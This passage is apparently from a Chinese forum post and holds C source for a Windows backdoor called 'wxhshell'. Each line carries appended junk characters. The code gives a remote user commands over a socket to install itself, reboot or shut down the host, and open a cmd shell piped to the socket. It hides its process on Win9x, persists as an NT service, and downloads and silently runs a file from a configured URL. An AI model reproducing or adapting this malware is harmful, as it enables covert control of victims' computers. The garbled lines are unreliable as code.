  else { VtTTvP3  
Ym% $!#  
    switch(cmd[0]) { 9#;GG3  
  `7D]J*?`  
  // 帮助 Jn |sS(Q}  
  case '?': { l+ ,p=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ux/|D_rlf  
    break; lmGVSdo   
  } hSN{jl{L`  
  // 安装 5SB!)F]   
  case 'i': { "_f~8f`y  
    if(Install()) v3*y43  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZXJ]==  
    else |>Ld'\i8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9mmkFaBQ  
    break; KD<smwXjG  
    } 4ZUTF3  
  // 卸载 2\4ammwT  
  case 'r': { 04j]W]8#  
    if(Uninstall())  =8o$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]\JLlQ}#H  
    else Sux/='  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gR\z#Sg  
    break; aAbK{=/y_!  
    } &g.do?  
  // 显示 wxhshell 所在路径 cko^_V&x  
  case 'p': { wB(X(nr  
    char svExeFile[MAX_PATH]; ?5IF;vk  
    strcpy(svExeFile,"\n\r"); M1mx{<]A  
      strcat(svExeFile,ExeFile); {py"Ob_  
        send(wsh,svExeFile,strlen(svExeFile),0); {`ghX%M(l  
    break; YAdk3y~pL  
    } &FpoMW  
  // 重启 ?~:4O}5Ax  
  case 'b': { uGc0Lv4i/  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1PN!1=F}  
    if(Boot(REBOOT)) 3|0wD:Dy  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c 98^~vR]]  
    else { {V^|9j:\K  
    closesocket(wsh); G`e!WvC  
    ExitThread(0); R<<U(.E  
    } Pf:;iXH?  
    break; w paI}H#  
    } sU$<v( `"  
  // 关机 ufi:aE=}  
  case 'd': { L%`MoTpK q  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); }> ]`#s  
    if(Boot(SHUTDOWN)) 0'g e}2^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KSYHG  
    else { 2CF5qn}T  
    closesocket(wsh); U^;|as  
    ExitThread(0); )z_5I (?&  
    } <\'aUfF v  
    break; QPyHos `  
    } dJ 9v/k_  
  // 获取shell K%g_e*"$  
  case 's': { | 9 <+!t\  
    CmdShell(wsh); 1KadT7<0}  
    closesocket(wsh); @$|8zPs  
    ExitThread(0); "(YfvO+  
    break; #z5$_z?_  
  } so>jz@!EE  
  // 退出 ]@6L,+W"  
  case 'x': { 98rO]rg  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); rU |%  
    CloseIt(wsh); re x MS  
    break; 0O!A8FA0  
    } @b9qBJfQ  
  // 离开 ]p@q.P  
  case 'q': { )B9/P>c  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5 D <  
    closesocket(wsh); MAc jWb~ f  
    WSACleanup(); M#.dF{ %%  
    exit(1); Ms=N+e$n  
    break; $YiG0GK<"  
        } )agrx76]3w  
  } Vz]yJ:  
  } r`Bm" xI  
(-Qr.t_B`  
  // 提示信息 Rr0]~2R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); O& 1z-  
} ;3\'}2^|l  
  } 8xt8kf*k  
4jw q$G  
  return; _/NPXDL  
} c{3P|O&.  
7?ILmYBw  
// shell模块句柄 0C4Os p  
int CmdShell(SOCKET sock) AbL(F#{  
{ }p>l,HD  
STARTUPINFO si; 2<E@f0BVAy  
ZeroMemory(&si,sizeof(si)); wWVB'MRXB,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tkP& =$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; [ e#[j{  
PROCESS_INFORMATION ProcessInfo; 6t{G{ ]  
char cmdline[]="cmd"; ]$!7;P  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); w :9M6+mM^  
  return 0; lE8(BWzw  
} z .+J\  
#G\Ae:O  
// 自身启动模式 a/n~#5-  
int StartFromService(void) (\%J0kR3[  
{ ao"Z%#Jb~  
typedef struct MM*9Q`cB  
{ E <N%  
  DWORD ExitStatus; T>irW(  
  DWORD PebBaseAddress; +bk+0k9k5  
  DWORD AffinityMask; xD9ZL  
  DWORD BasePriority; 7[1 VFc#tf  
  ULONG UniqueProcessId; QN;GMX5&  
  ULONG InheritedFromUniqueProcessId; r_MP[]f|0  
}   PROCESS_BASIC_INFORMATION; +4F; m_G6  
&MBm1T|Y  
PROCNTQSIP NtQueryInformationProcess; F$S/zh$)0  
y]g5S-G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `( 'NH]^  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l%qfaU2  
Ckhw d  
  HANDLE             hProcess; AZ SaI  
  PROCESS_BASIC_INFORMATION pbi; ,x utI  
MhjIE<OI=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X([@}ren  
  if(NULL == hInst ) return 0; 75iudki  
{<zE}7/2-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); wj8\eK)]L  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); BkB9u&s^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X=? \A{Y  
| Pqs)Mb]  
  if (!NtQueryInformationProcess) return 0; ypNeTR$4  
; hU9_e  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CoV @{Pi  
  if(!hProcess) return 0; .uB[zJc  
0R;`)V\^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rS0#]Gg  
jX,A.  
  CloseHandle(hProcess); X{iidTW`xv  
@ev^e !B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PiLLUyQx  
if(hProcess==NULL) return 0; (L!u[e0[#  
u4xJ-Vu  
HMODULE hMod; lUiO|  
char procName[255]; `FK qVd  
unsigned long cbNeeded; eGUe#(I /  
'cY @Dqg1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9y*(SDF  
_I%mY!x\`  
  CloseHandle(hProcess); #2+hu^Q-  
3*R(&O6}  
if(strstr(procName,"services")) return 1; // 以服务启动 (kx>\FIK*  
=nCV. Wf  
  return 0; // 注册表启动 &<) _7?  
} KF7d`bRe  
qJ$S3B  
// 主模块 xzRC %  
int StartWxhshell(LPSTR lpCmdLine) BT(G9 Pj;  
{ }dSFv   
  SOCKET wsl; Y5TBWcGU%  
BOOL val=TRUE; (CE2]Nv9")  
  int port=0; tfv@ )9  
  struct sockaddr_in door; fVq,?  
XX *f  
  if(wscfg.ws_autoins) Install(); M+4S>Sjw  
M<@9di7c  
port=atoi(lpCmdLine); r?x~`C  
z=LO$,JW`  
if(port<=0) port=wscfg.ws_port; /Wy9 ".  
G+iJS!=  
  WSADATA data; B,Jn.YX  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; l4OPzNc'  
*}LQZFrnX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _K~?{".  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +*RpOtss  
  door.sin_family = AF_INET; +@PZ3 [s  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); K=2j}IPe  
  door.sin_port = htons(port); %;`3I$  
V{0V/Nv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7wqD_Xr  
closesocket(wsl); Z8pZm`g)T  
return 1; u[!Ex=9W  
} =PoPp  
#elaz8 5  
  if(listen(wsl,2) == INVALID_SOCKET) { tI2p-d9B  
closesocket(wsl); Pv@;)s(-  
return 1;  *8 ]  
} U9AtC.IG!  
  Wxhshell(wsl); CjA}-ee  
  WSACleanup(); w2tkJcQ3  
'`p0T%w  
return 0; vaZ?>94  
BimM)4g  
} g: "Hg-s  
qxD<mZ@-R0  
// 以NT服务方式启动 St1>J.k_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) c{f1_qXN  
{ &l~=c2  
DWORD   status = 0; =`%%*  
  DWORD   specificError = 0xfffffff; {XYf"ONi  
$Vm J[EF1  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~ K|o@LK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; JDC,]  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 5TdI  
  serviceStatus.dwWin32ExitCode     = 0; W&^2Fb  
  serviceStatus.dwServiceSpecificExitCode = 0; M~!LjJg;  
  serviceStatus.dwCheckPoint       = 0; B?_ujH80m  
  serviceStatus.dwWaitHint       = 0; m<22E0=g  
Q&9& )8-  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jdVdz,Y  
  if (hServiceStatusHandle==0) return; j! cB  
wmPpE_ {  
status = GetLastError(); JGk,u6K7  
  if (status!=NO_ERROR) )^'wcBod,  
{ ZZ6F0FLXJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9$'Edi=6  
    serviceStatus.dwCheckPoint       = 0; =j~}];I  
    serviceStatus.dwWaitHint       = 0; o r]s  
    serviceStatus.dwWin32ExitCode     = status; sfNAGez  
    serviceStatus.dwServiceSpecificExitCode = specificError; m;I;{+"u  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); |&%l @X 6  
    return; "i*Gi \U  
  } >:P3j<xTv  
RwwX;I"o%  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^SRa!8z$W  
  serviceStatus.dwCheckPoint       = 0; 1vxh3KS.  
  serviceStatus.dwWaitHint       = 0; (.3L'+F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell("");  ?hpk)Qu  
} XC{(O:EG  
}c,}+{q  
// 处理NT服务事件,比如:启动、停止 iJE|u  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 'C*NyHc  
{ -/&6}lD  
switch(fdwControl) VVje|T^{Z  
{ }fs;yPl,  
case SERVICE_CONTROL_STOP: )+9D$m=P;  
  serviceStatus.dwWin32ExitCode = 0; Lp*T=]C]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; G8?<(.pi@  
  serviceStatus.dwCheckPoint   = 0; Bf88f<Z  
  serviceStatus.dwWaitHint     = 0; w G Q{  
  { Ic&t_B*i}]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _>:g&pS/  
  } ?-'Q-\j  
  return; tg5jS]O  
case SERVICE_CONTROL_PAUSE: \>/:@4oK  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; V2]S{!p}k  
  break; "WYcw\@U  
case SERVICE_CONTROL_CONTINUE: 5tl}rmI`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Fk(0q/b  
  break; z_l3=7R  
case SERVICE_CONTROL_INTERROGATE: [l5 "'{x  
  break; ?\F,}e  
}; {nOK*7+ "  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @+X}O /74  
} r5iO%JFg  
@#H{nj Z  
// 标准应用程序主函数 0I?3@Nz6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) a\m10Ih:  
{  2 5ZGuM  
<CmsnX  
// 获取操作系统版本 .Um%6a-  
OsIsNt=GetOsVer(); 1I^Sv  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;+b}@e  
v|,Hd  
  // 从命令行安装 v V^GIWK  
  if(strpbrk(lpCmdLine,"iI")) Install(); c[y=K)<Z  
FVQWz[N  
  // 下载执行文件 %#QFu/l  
if(wscfg.ws_downexe) { mQs'2Y6Oa  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) JcVq%~ {M  
  WinExec(wscfg.ws_filenam,SW_HIDE); HIa$0g0J  
} Em"X5>;4  
'/ &"  
if(!OsIsNt) { :M[E-j;  
// 如果时win9x,隐藏进程并且设置为注册表启动 0RSa{iS*A  
HideProc(); 4!}fCP ty  
StartWxhshell(lpCmdLine); #!D5DK@+  
} <7] z'  
else nG%j4r ;  
  if(StartFromService()) VD#^Xy4% r  
  // 以服务方式启动 !d0@^JbM"  
  StartServiceCtrlDispatcher(DispatchTable); Xp?Z;$r$  
else a@jP^VVk  
  // 普通方式启动 VD3[ko  
  StartWxhshell(lpCmdLine); T&23Pf1  
rzBWk  
return 0; !3&vgvr  
}
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只看该作者 1 发表于: 2006-10-10
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